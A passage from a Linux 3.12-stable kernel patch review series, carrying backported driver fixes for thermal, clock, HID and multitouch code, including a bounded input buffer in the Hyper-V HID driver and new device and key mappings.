  include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *'
   static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags)

Fixes: bd31b85960a7 ("locking, ARM: Annotate low level hw locks as raw")
Signed-off-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
Signed-off-by: Brian Norris <computersforpeace@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/mtd/maps/dc21285.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/mtd/maps/dc21285.c b/drivers/mtd/maps/dc21285.c
index f8a7dd14cee0..70a3db3ab856 100644
--- a/drivers/mtd/maps/dc21285.c
+++ b/drivers/mtd/maps/dc21285.c
@@ -38,9 +38,9 @@ static void nw_en_write(void)
 	 * we want to write a bit pattern XXX1 to Xilinx to enable
 	 * the write gate, which will be open for about the next 2ms.
 	 */
-	spin_lock_irqsave(&nw_gpio_lock, flags);
+	raw_spin_lock_irqsave(&nw_gpio_lock, flags);
 	nw_cpld_modify(CPLD_FLASH_WR_ENABLE, CPLD_FLASH_WR_ENABLE);
-	spin_unlock_irqrestore(&nw_gpio_lock, flags);
+	raw_spin_unlock_irqrestore(&nw_gpio_lock, flags);
 
 	/*
 	 * let the ISA bus to catch on...
-- 
2.4.6

[PATCH 3.12 114/124] thermal: step_wise: fix: Prevent from binary overflow when trend is dropping

[Jiri Slaby]

From: Lukasz Majewski <l.majewski@samsung.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 26bb0e9a1a938ec98ee07aa76533f1a711fba706 upstream.

It turns out that some boards can have instance->lower greater than 0 and
when thermal trend is dropping it results with next_target equal to -1.

Since the next_target is defined as unsigned long it is interpreted as
0xFFFFFFFF and larger than instance->upper.
As a result the next_target is set to instance->upper which ramps up to
maximal cooling device target when the temperature is steadily decreasing.

Signed-off-by: Lukasz Majewski <l.majewski@samsung.com>
Signed-off-by: Zhang Rui <rui.zhang@intel.com>
Cc: Mason <slash.tmp@free.fr>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/thermal/step_wise.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/thermal/step_wise.c b/drivers/thermal/step_wise.c
index 769bfa3a4360..26d3aff18277 100644
--- a/drivers/thermal/step_wise.c
+++ b/drivers/thermal/step_wise.c
@@ -75,7 +75,7 @@ static unsigned long get_target_state(struct thermal_instance *instance,
 			next_target = instance->upper;
 		break;
 	case THERMAL_TREND_DROPPING:
-		if (cur_state == instance->lower) {
+		if (cur_state <= instance->lower) {
 			if (!throttle)
 				next_target = THERMAL_NO_TARGET;
 		} else {
-- 
2.4.6

[PATCH 3.12 115/124] thermal: rcar: fix ENR register value

[Jiri Slaby]

From: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 11313746547015ace605c4c347a40350753051e4 upstream.

On R-Mobile APE6, since it has 3 thermal zones, ENR register
has enable bits in bit 19-16, bit 11-8 and bit 3-0.

However, on R-Car gen2, since it has 1 thermal zone, ENR register has
enable bits in bit 3-0. (In other words, the write value should always
be 0 for bit 31-4 of ENR register.)

So, this patch fixes the ENR register value using I/O resource sets.

Acked-by: Geert Uytterhoeven <geert+renesas@glider.be>
Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Signed-off-by: Eduardo Valentin <edubezval@gmail.com>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/thermal/rcar_thermal.c | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/drivers/thermal/rcar_thermal.c b/drivers/thermal/rcar_thermal.c
index 88f92e1a9944..e9d3574bb560 100644
--- a/drivers/thermal/rcar_thermal.c
+++ b/drivers/thermal/rcar_thermal.c
@@ -367,6 +367,7 @@ static int rcar_thermal_probe(struct platform_device *pdev)
 	int i;
 	int ret = -ENODEV;
 	int idle = IDLE_INTERVAL;
+	u32 enr_bits = 0;
 
 	common = devm_kzalloc(dev, sizeof(*common), GFP_KERNEL);
 	if (!common) {
@@ -405,9 +406,6 @@ static int rcar_thermal_probe(struct platform_device *pdev)
 		if (IS_ERR(common->base))
 			return PTR_ERR(common->base);
 
-		/* enable temperature comparation */
-		rcar_thermal_common_write(common, ENR, 0x00030303);
-
 		idle = 0; /* polling delaye is not needed */
 	}
 
@@ -450,8 +448,15 @@ static int rcar_thermal_probe(struct platform_device *pdev)
 			rcar_thermal_irq_enable(priv);
 
 		list_move_tail(&priv->list, &common->head);
+
+		/* update ENR bits */
+		enr_bits |= 3 << (i * 8);
 	}
 
+	/* enable temperature comparation */
+	if (irq)
+		rcar_thermal_common_write(common, ENR, enr_bits);
+
 	platform_set_drvdata(pdev, common);
 
 	dev_info(dev, "%d sensor probed\n", i);
-- 
2.4.6

[PATCH 3.12 116/124] ARM: shmobile: wait for MSTP clock status to toggle, when enabling it

[Jiri Slaby]

From: Guennadi Liakhovetski <g.liakhovetski@gmx.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit a028c6da34d434e35ba8322568c756ea97ff3c18 upstream.

On r-/sh-mobile SoCs MSTP clocks are used by the runtime PM to dynamically
enable and disable peripheral clocks. To make sure the clock has really
started we have to read back its status register until it confirms success.

Signed-off-by: Guennadi Liakhovetski <g.liakhovetski+renesas@gmail.com>
Signed-off-by: Simon Horman <horms+renesas@verge.net.au>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 drivers/sh/clk/cpg.c   | 38 ++++++++++++++++++++++++++++++++++++++
 include/linux/sh_clk.h | 19 ++++++++++++-------
 2 files changed, 50 insertions(+), 7 deletions(-)

diff --git a/drivers/sh/clk/cpg.c b/drivers/sh/clk/cpg.c
index 1ebe67cd1833..7442bc130055 100644
--- a/drivers/sh/clk/cpg.c
+++ b/drivers/sh/clk/cpg.c
@@ -36,9 +36,47 @@ static void sh_clk_write(int value, struct clk *clk)
 		iowrite32(value, clk->mapped_reg);
 }
 
+static unsigned int r8(const void __iomem *addr)
+{
+	return ioread8(addr);
+}
+
+static unsigned int r16(const void __iomem *addr)
+{
+	return ioread16(addr);
+}
+
+static unsigned int r32(const void __iomem *addr)
+{
+	return ioread32(addr);
+}
+
 static int sh_clk_mstp_enable(struct clk *clk)
 {
 	sh_clk_write(sh_clk_read(clk) & ~(1 << clk->enable_bit), clk);
+	if (clk->status_reg) {
+		unsigned int (*read)(const void __iomem *addr);
+		int i;
+		void __iomem *mapped_status = (phys_addr_t)clk->status_reg -
+			(phys_addr_t)clk->enable_reg + clk->mapped_reg;
+
+		if (clk->flags & CLK_ENABLE_REG_8BIT)
+			read = r8;
+		else if (clk->flags & CLK_ENABLE_REG_16BIT)
+			read = r16;
+		else
+			read = r32;
+
+		for (i = 1000;
+		     (read(mapped_status) & (1 << clk->enable_bit)) && i;
+		     i--)
+			cpu_relax();
+		if (!i) {
+			pr_err("cpg: failed to enable %p[%d]\n",
+			       clk->enable_reg, clk->enable_bit);
+			return -ETIMEDOUT;
+		}
+	}
 	return 0;
 }
 
diff --git a/include/linux/sh_clk.h b/include/linux/sh_clk.h
index 60c72395ec6b..1f208b2a1ed6 100644
--- a/include/linux/sh_clk.h
+++ b/include/linux/sh_clk.h
@@ -52,6 +52,7 @@ struct clk {
 	unsigned long		flags;
 
 	void __iomem		*enable_reg;
+	void __iomem		*status_reg;
 	unsigned int		enable_bit;
 	void __iomem		*mapped_reg;
 
@@ -116,22 +117,26 @@ long clk_round_parent(struct clk *clk, unsigned long target,
 		      unsigned long *best_freq, unsigned long *parent_freq,
 		      unsigned int div_min, unsigned int div_max);
 
-#define SH_CLK_MSTP(_parent, _enable_reg, _enable_bit, _flags)		\
+#define SH_CLK_MSTP(_parent, _enable_reg, _enable_bit, _status_reg, _flags) \
 {									\
 	.parent		= _parent,					\
 	.enable_reg	= (void __iomem *)_enable_reg,			\
 	.enable_bit	= _enable_bit,					\
+	.status_reg	= _status_reg,					\
 	.flags		= _flags,					\
 }
 
-#define SH_CLK_MSTP32(_p, _r, _b, _f)					\
-	SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_32BIT)
+#define SH_CLK_MSTP32(_p, _r, _b, _f)				\
+	SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_32BIT)
 
-#define SH_CLK_MSTP16(_p, _r, _b, _f)					\
-	SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_16BIT)
+#define SH_CLK_MSTP32_STS(_p, _r, _b, _s, _f)			\
+	SH_CLK_MSTP(_p, _r, _b, _s, _f | CLK_ENABLE_REG_32BIT)
 
-#define SH_CLK_MSTP8(_p, _r, _b, _f)					\
-	SH_CLK_MSTP(_p, _r, _b, _f | CLK_ENABLE_REG_8BIT)
+#define SH_CLK_MSTP16(_p, _r, _b, _f)				\
+	SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_16BIT)
+
+#define SH_CLK_MSTP8(_p, _r, _b, _f)				\
+	SH_CLK_MSTP(_p, _r, _b, 0, _f | CLK_ENABLE_REG_8BIT)
 
 int sh_clk_mstp_register(struct clk *clks, int nr);
 
-- 
2.4.6

[PATCH 3.12 117/124] HID: hyperv: make sure input buffer is big enough

[Jiri Slaby]

From: David Herrmann <dh.herrmann@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 3ccfd0a8d7062a5590923578eea829ee582beba8 upstream.

We need at least HID_MAX_BUFFER_SIZE (4096) bytes as input buffer. HID
core depends on this as it requires every input report to be at least as
big as advertised.

Signed-off-by: David Herrmann <dh.herrmann@gmail.com>
Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-hyperv.c | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/drivers/hid/hid-hyperv.c b/drivers/hid/hid-hyperv.c
index 8fae6d1414cc..c24908f14934 100644
--- a/drivers/hid/hid-hyperv.c
+++ b/drivers/hid/hid-hyperv.c
@@ -157,6 +157,7 @@ struct mousevsc_dev {
 	u32			report_desc_size;
 	struct hv_input_dev_info hid_dev_info;
 	struct hid_device       *hid_device;
+	u8			input_buf[HID_MAX_BUFFER_SIZE];
 };
 
 
@@ -256,6 +257,7 @@ static void mousevsc_on_receive(struct hv_device *device,
 	struct synthhid_msg *hid_msg;
 	struct mousevsc_dev *input_dev = hv_get_drvdata(device);
 	struct synthhid_input_report *input_report;
+	size_t len;
 
 	pipe_msg = (struct pipe_prt_msg *)((unsigned long)packet +
 						(packet->offset8 << 3));
@@ -300,9 +302,12 @@ static void mousevsc_on_receive(struct hv_device *device,
 			(struct synthhid_input_report *)pipe_msg->data;
 		if (!input_dev->init_complete)
 			break;
-		hid_input_report(input_dev->hid_device,
-				HID_INPUT_REPORT, input_report->buffer,
-				input_report->header.size, 1);
+
+		len = min(input_report->header.size,
+			  (u32)sizeof(input_dev->input_buf));
+		memcpy(input_dev->input_buf, input_report->buffer, len);
+		hid_input_report(input_dev->hid_device, HID_INPUT_REPORT,
+				 input_dev->input_buf, len, 1);
 		break;
 	default:
 		pr_err("unsupported hid msg type - type %d len %d",
-- 
2.4.6

[PATCH 3.12 118/124] HID: hid-lg4ff: Support new version of G27

[Jiri Slaby]

From: Simon Wood <simon@mungewell.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 6b5625b2af30de6ff73402ad070dd21592681821 upstream.

It has been reported that there is a new hardware version of the G27
in the 'wild'. This patch add's this new revision so that it can be
sent the command to switch to native mode.

Reported-by: "Ivan Baldo" <ibaldo@adinet.com.uy>
Tested-by: "evilcow" <evilcow93@yahoo.com>
Signed-off-by: Simon Wood <simon@mungewell.org>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-lg4ff.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/drivers/hid/hid-lg4ff.c b/drivers/hid/hid-lg4ff.c
index 351805362290..3c72fba63c9c 100644
--- a/drivers/hid/hid-lg4ff.c
+++ b/drivers/hid/hid-lg4ff.c
@@ -43,6 +43,7 @@
 #define G25_REV_MIN 0x22
 #define G27_REV_MAJ 0x12
 #define G27_REV_MIN 0x38
+#define G27_2_REV_MIN 0x39
 
 #define to_hid_device(pdev) container_of(pdev, struct hid_device, dev)
 
@@ -130,6 +131,7 @@ static const struct lg4ff_usb_revision lg4ff_revs[] = {
 	{DFP_REV_MAJ,  DFP_REV_MIN,  &native_dfp},	/* Driving Force Pro */
 	{G25_REV_MAJ,  G25_REV_MIN,  &native_g25},	/* G25 */
 	{G27_REV_MAJ,  G27_REV_MIN,  &native_g27},	/* G27 */
+	{G27_REV_MAJ,  G27_2_REV_MIN,  &native_g27},	/* G27 v2 */
 };
 
 /* Recalculates X axis value accordingly to currently selected range */
-- 
2.4.6

[PATCH 3.12 119/124] HID: multitouch: add support for Win 8.1 multitouch touchpads

[Jiri Slaby]

From: Andrew Duggan <aduggan@synaptics.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 9abebedb123a577ecc5b69b2a2515499e430be24 upstream.

Multitouch touchpads built for Win 8.1 need to be sent an input mode feature report
in order to start reporting multitouch events. This is the same process sent
to Win 7 multitouch touchscreens except the value of the feature report is 3 for
touchpads.

Signed-off-by: Andrew Duggan <aduggan@synaptics.com>
Reviewed-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-multitouch.c | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/drivers/hid/hid-multitouch.c b/drivers/hid/hid-multitouch.c
index f134d73beca1..09eec7fd5159 100644
--- a/drivers/hid/hid-multitouch.c
+++ b/drivers/hid/hid-multitouch.c
@@ -68,6 +68,9 @@ MODULE_LICENSE("GPL");
 #define MT_QUIRK_HOVERING		(1 << 11)
 #define MT_QUIRK_CONTACT_CNT_ACCURATE	(1 << 12)
 
+#define MT_INPUTMODE_TOUCHSCREEN	0x02
+#define MT_INPUTMODE_TOUCHPAD		0x03
+
 struct mt_slot {
 	__s32 x, y, cx, cy, p, w, h;
 	__s32 contactid;	/* the device ContactID assigned to this slot */
@@ -105,6 +108,7 @@ struct mt_device {
 	__s16 inputmode_index;	/* InputMode HID feature index in the report */
 	__s16 maxcontact_report_id;	/* Maximum Contact Number HID feature,
 				   -1 if non-existent */
+	__u8 inputmode_value;  /* InputMode HID feature value */
 	__u8 num_received;	/* how many contacts we received */
 	__u8 num_expected;	/* expected last contact index */
 	__u8 maxcontacts;
@@ -415,8 +419,10 @@ static int mt_touch_input_mapping(struct hid_device *hdev, struct hid_input *hi,
 	 * Model touchscreens providing buttons as touchpads.
 	 */
 	if (field->application == HID_DG_TOUCHPAD ||
-	    (usage->hid & HID_USAGE_PAGE) == HID_UP_BUTTON)
+	    (usage->hid & HID_USAGE_PAGE) == HID_UP_BUTTON) {
 		td->mt_flags |= INPUT_MT_POINTER;
+		td->inputmode_value = MT_INPUTMODE_TOUCHPAD;
+	}
 
 	if (usage->usage_index)
 		prev_usage = &field->usage[usage->usage_index - 1];
@@ -841,7 +847,7 @@ static void mt_set_input_mode(struct hid_device *hdev)
 	re = &(hdev->report_enum[HID_FEATURE_REPORT]);
 	r = re->report_id_hash[td->inputmode];
 	if (r) {
-		r->field[0]->value[td->inputmode_index] = 0x02;
+		r->field[0]->value[td->inputmode_index] = td->inputmode_value;
 		hid_hw_request(hdev, r, HID_REQ_SET_REPORT);
 	}
 }
@@ -973,6 +979,7 @@ static int mt_probe(struct hid_device *hdev, const struct hid_device_id *id)
 	td->mtclass = *mtclass;
 	td->inputmode = -1;
 	td->maxcontact_report_id = -1;
+	td->inputmode_value = MT_INPUTMODE_TOUCHSCREEN;
 	td->cc_index = -1;
 	td->mt_report_id = -1;
 	td->pen_report_id = -1;
-- 
2.4.6

[PATCH 3.12 120/124] HID: multitouch: add support of EliteGroup 05D8 panels

[Jiri Slaby]

From: Tomas Sokorai <tsokorai@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7c7606a2464fee1cf50efef34aa44aee1edf453a upstream.

They need to have the class SERIAL.

Note: it is a Win 7 panel, not Win 8 certified.

Signed-off-by: Tomas Sokorai <tsokorai@gmail.com>
Signed-off-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-ids.h        | 3 +++
 drivers/hid/hid-multitouch.c | 5 +++++
 2 files changed, 8 insertions(+)

diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 7d036aadb567..2e65d7791060 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -303,6 +303,9 @@
 
 #define USB_VENDOR_ID_DREAM_CHEEKY	0x1d34
 
+#define USB_VENDOR_ID_ELITEGROUP	0x03fc
+#define USB_DEVICE_ID_ELITEGROUP_05D8	0x05d8
+
 #define USB_VENDOR_ID_ELO		0x04E7
 #define USB_DEVICE_ID_ELO_TS2515	0x0022
 #define USB_DEVICE_ID_ELO_TS2700	0x0020
diff --git a/drivers/hid/hid-multitouch.c b/drivers/hid/hid-multitouch.c
index 09eec7fd5159..e7c2af5d3811 100644
--- a/drivers/hid/hid-multitouch.c
+++ b/drivers/hid/hid-multitouch.c
@@ -1163,6 +1163,11 @@ static const struct hid_device_id mt_devices[] = {
 		MT_USB_DEVICE(USB_VENDOR_ID_DWAV,
 			USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_A001) },
 
+	/* Elitegroup panel */
+	{ .driver_data = MT_CLS_SERIAL,
+		MT_USB_DEVICE(USB_VENDOR_ID_ELITEGROUP,
+			USB_DEVICE_ID_ELITEGROUP_05D8) },
+
 	/* Elo TouchSystems IntelliTouch Plus panel */
 	{ .driver_data = MT_CLS_DUAL_CONTACT_ID,
 		MT_USB_DEVICE(USB_VENDOR_ID_ELO,
-- 
2.4.6

[PATCH 3.12 121/124] HID: hid-sensor-hub: fix sleeping function called from invalid context

[Jiri Slaby]

From: Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit f74346a04b79c9a5e50a2ee5e923b94195975d17 upstream.

Fix issue with the sleeping calling hid_hw_request under spinlock.
When i2c is used as HID transport, this is calling kmalloc, which
can sleep. So remove call to this function while under spinlock.
 [ 1067.021961] Call Trace:
 [ 1067.021970]  [<ffffffff8192f5f2>] dump_stack+0x4d/0x6f
 [ 1067.021976]  [<ffffffff811109f2>] __might_sleep+0xd2/0xf0
 [ 1067.021981]  [<ffffffff811ea15b>] __kmalloc+0xeb/0x200
 [ 1067.021989]  [<ffffffff816e0cb3>] ? hid_alloc_report_buf+0x23/0x30
 [ 1067.021993]  [<ffffffff816e0cb3>] hid_alloc_report_buf+0x23/0x30
 [ 1067.021997]  [<ffffffff816f4cb7>] i2c_hid_request+0x57/0x110
 [ 1067.022006]  [<ffffffffa02bc61c>] sensor_hub_input_attr_get_raw_value+0xbc/0x100 [hid_sensor_hub]

Signed-off-by: Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-sensor-hub.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/drivers/hid/hid-sensor-hub.c b/drivers/hid/hid-sensor-hub.c
index 9e4cdca549c0..fe8618c5b5c1 100644
--- a/drivers/hid/hid-sensor-hub.c
+++ b/drivers/hid/hid-sensor-hub.c
@@ -255,13 +255,12 @@ int sensor_hub_input_attr_get_raw_value(struct hid_sensor_hub_device *hsdev,
 
 	spin_lock_irqsave(&data->lock, flags);
 	data->pending.status = true;
+	spin_unlock_irqrestore(&data->lock, flags);
 	report = sensor_hub_report(report_id, hsdev->hdev, HID_INPUT_REPORT);
-	if (!report) {
-		spin_unlock_irqrestore(&data->lock, flags);
+	if (!report)
 		goto err_free;
-	}
+
 	hid_hw_request(hsdev->hdev, report, HID_REQ_GET_REPORT);
-	spin_unlock_irqrestore(&data->lock, flags);
 	wait_for_completion_interruptible_timeout(&data->pending.ready, HZ*5);
 	switch (data->pending.raw_size) {
 	case 1:
-- 
2.4.6

[PATCH 3.12 122/124] HID: Add some missing HUT mappings

[Jiri Slaby]

From: Hans de Goede <hdegoede@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5820e4d4ae17c0994c93d0537bd1a184267f3cae upstream.

Add mapping for "AL Next Task/Application", "AL Previous Task/Application"
and "AL File Browser" buttons, as found on the Microsoft Office keyboard.

Note that there already is a mapping for "AL Local Machine Browser" to
KEY_FILE. Unless we ever encounter a device with both that should not be
a problem.

Signed-off-by: Hans de Goede <hdegoede@redhat.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-input.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c
index 9dcccbde65fb..07483f99f854 100644
--- a/drivers/hid/hid-input.c
+++ b/drivers/hid/hid-input.c
@@ -795,10 +795,13 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x199: map_key_clear(KEY_CHAT);		break;
 		case 0x19c: map_key_clear(KEY_LOGOFF);		break;
 		case 0x19e: map_key_clear(KEY_COFFEE);		break;
+		case 0x1a3: map_key_clear(KEY_NEXT);		break;
+		case 0x1a4: map_key_clear(KEY_PREVIOUS);	break;
 		case 0x1a6: map_key_clear(KEY_HELP);		break;
 		case 0x1a7: map_key_clear(KEY_DOCUMENTS);	break;
 		case 0x1ab: map_key_clear(KEY_SPELLCHECK);	break;
 		case 0x1ae: map_key_clear(KEY_KEYBOARD);	break;
+		case 0x1b4: map_key_clear(KEY_FILE);		break;
 		case 0x1b6: map_key_clear(KEY_IMAGES);		break;
 		case 0x1b7: map_key_clear(KEY_AUDIO);		break;
 		case 0x1b8: map_key_clear(KEY_VIDEO);		break;
-- 
2.4.6

[PATCH 3.12 123/124] HID: add missing hid usages

[Jiri Slaby]

From: Olivier Gay <ogay@logitech.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit f362e690e5530dd8ace289da991bda558731678e upstream.

Add some missing hid usages from consumer page, add
some display brightness control usages from approved hid usage
table request HUTTR41:
http://www.usb.org/developers/hidpage/HUTRR41.pdf
and add voice command usage from approved request HUTTR45:
http://www.usb.org/developers/hidpage/Voice_Command_Usage.pdf

[jkosina@suse.cz: removed KEY_BRIGHTNESS_TOGGLE / KEY_DISPLAYTOGGLE
 conflict from hid-debug.c]

Signed-off-by: Olivier Gay <ogay@logitech.com>
Signed-off-by: Mathieu Meisser <mmeisser@logitech.com>
Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-debug.c    | 10 ++++++++++
 drivers/hid/hid-input.c    | 14 ++++++++++++++
 include/uapi/linux/input.h | 17 ++++++++++++++++-
 3 files changed, 40 insertions(+), 1 deletion(-)

diff --git a/drivers/hid/hid-debug.c b/drivers/hid/hid-debug.c
index c607d953270c..53eaa0b6b1d1 100644
--- a/drivers/hid/hid-debug.c
+++ b/drivers/hid/hid-debug.c
@@ -852,6 +852,16 @@ static const char *keys[KEY_MAX + 1] = {
 	[KEY_KBDILLUMDOWN] = "KbdIlluminationDown",
 	[KEY_KBDILLUMUP] = "KbdIlluminationUp",
 	[KEY_SWITCHVIDEOMODE] = "SwitchVideoMode",
+	[KEY_BUTTONCONFIG] = "ButtonConfig",
+	[KEY_TASKMANAGER] = "TaskManager",
+	[KEY_JOURNAL] = "Journal",
+	[KEY_CONTROLPANEL] = "ControlPanel",
+	[KEY_APPSELECT] = "AppSelect",
+	[KEY_SCREENSAVER] = "ScreenSaver",
+	[KEY_VOICECOMMAND] = "VoiceCommand",
+	[KEY_BRIGHTNESS_MIN] = "BrightnessMin",
+	[KEY_BRIGHTNESS_MAX] = "BrightnessMax",
+	[KEY_BRIGHTNESS_AUTO] = "BrightnessAuto",
 };
 
 static const char *relatives[REL_MAX + 1] = {
diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c
index 07483f99f854..40113e9db514 100644
--- a/drivers/hid/hid-input.c
+++ b/drivers/hid/hid-input.c
@@ -727,6 +727,13 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x06c: map_key_clear(KEY_YELLOW);		break;
 		case 0x06d: map_key_clear(KEY_ZOOM);		break;
 
+		case 0x06f: map_key_clear(KEY_BRIGHTNESSUP);		break;
+		case 0x070: map_key_clear(KEY_BRIGHTNESSDOWN);		break;
+		case 0x072: map_key_clear(KEY_BRIGHTNESS_TOGGLE);	break;
+		case 0x073: map_key_clear(KEY_BRIGHTNESS_MIN);		break;
+		case 0x074: map_key_clear(KEY_BRIGHTNESS_MAX);		break;
+		case 0x075: map_key_clear(KEY_BRIGHTNESS_AUTO);		break;
+
 		case 0x082: map_key_clear(KEY_VIDEO_NEXT);	break;
 		case 0x083: map_key_clear(KEY_LAST);		break;
 		case 0x084: map_key_clear(KEY_ENTER);		break;
@@ -767,6 +774,7 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x0bf: map_key_clear(KEY_SLOW);		break;
 
 		case 0x0cd: map_key_clear(KEY_PLAYPAUSE);	break;
+		case 0x0cf: map_key_clear(KEY_VOICECOMMAND);	break;
 		case 0x0e0: map_abs_clear(ABS_VOLUME);		break;
 		case 0x0e2: map_key_clear(KEY_MUTE);		break;
 		case 0x0e5: map_key_clear(KEY_BASSBOOST);	break;
@@ -774,6 +782,7 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x0ea: map_key_clear(KEY_VOLUMEDOWN);	break;
 		case 0x0f5: map_key_clear(KEY_SLOW);		break;
 
+		case 0x181: map_key_clear(KEY_BUTTONCONFIG);	break;
 		case 0x182: map_key_clear(KEY_BOOKMARKS);	break;
 		case 0x183: map_key_clear(KEY_CONFIG);		break;
 		case 0x184: map_key_clear(KEY_WORDPROCESSOR);	break;
@@ -787,6 +796,8 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x18c: map_key_clear(KEY_VOICEMAIL);	break;
 		case 0x18d: map_key_clear(KEY_ADDRESSBOOK);	break;
 		case 0x18e: map_key_clear(KEY_CALENDAR);	break;
+		case 0x18f: map_key_clear(KEY_TASKMANAGER);	break;
+		case 0x190: map_key_clear(KEY_JOURNAL);		break;
 		case 0x191: map_key_clear(KEY_FINANCE);		break;
 		case 0x192: map_key_clear(KEY_CALC);		break;
 		case 0x193: map_key_clear(KEY_PLAYER);		break;
@@ -795,12 +806,15 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 		case 0x199: map_key_clear(KEY_CHAT);		break;
 		case 0x19c: map_key_clear(KEY_LOGOFF);		break;
 		case 0x19e: map_key_clear(KEY_COFFEE);		break;
+		case 0x19f: map_key_clear(KEY_CONTROLPANEL);		break;
+		case 0x1a2: map_key_clear(KEY_APPSELECT);		break;
 		case 0x1a3: map_key_clear(KEY_NEXT);		break;
 		case 0x1a4: map_key_clear(KEY_PREVIOUS);	break;
 		case 0x1a6: map_key_clear(KEY_HELP);		break;
 		case 0x1a7: map_key_clear(KEY_DOCUMENTS);	break;
 		case 0x1ab: map_key_clear(KEY_SPELLCHECK);	break;
 		case 0x1ae: map_key_clear(KEY_KEYBOARD);	break;
+		case 0x1b1: map_key_clear(KEY_SCREENSAVER);		break;
 		case 0x1b4: map_key_clear(KEY_FILE);		break;
 		case 0x1b6: map_key_clear(KEY_IMAGES);		break;
 		case 0x1b7: map_key_clear(KEY_AUDIO);		break;
diff --git a/include/uapi/linux/input.h b/include/uapi/linux/input.h
index f30db096455f..b1bac8322fbf 100644
--- a/include/uapi/linux/input.h
+++ b/include/uapi/linux/input.h
@@ -462,7 +462,10 @@ struct input_keymap_entry {
 #define KEY_VIDEO_NEXT		241	/* drive next video source */
 #define KEY_VIDEO_PREV		242	/* drive previous video source */
 #define KEY_BRIGHTNESS_CYCLE	243	/* brightness up, after max is min */
-#define KEY_BRIGHTNESS_ZERO	244	/* brightness off, use ambient */
+#define KEY_BRIGHTNESS_AUTO	244	/* Set Auto Brightness: manual
+					  brightness control is off,
+					  rely on ambient */
+#define KEY_BRIGHTNESS_ZERO	KEY_BRIGHTNESS_AUTO
 #define KEY_DISPLAY_OFF		245	/* display device to off state */
 
 #define KEY_WIMAX		246
@@ -631,6 +634,7 @@ struct input_keymap_entry {
 #define KEY_ADDRESSBOOK		0x1ad	/* AL Contacts/Address Book */
 #define KEY_MESSENGER		0x1ae	/* AL Instant Messaging */
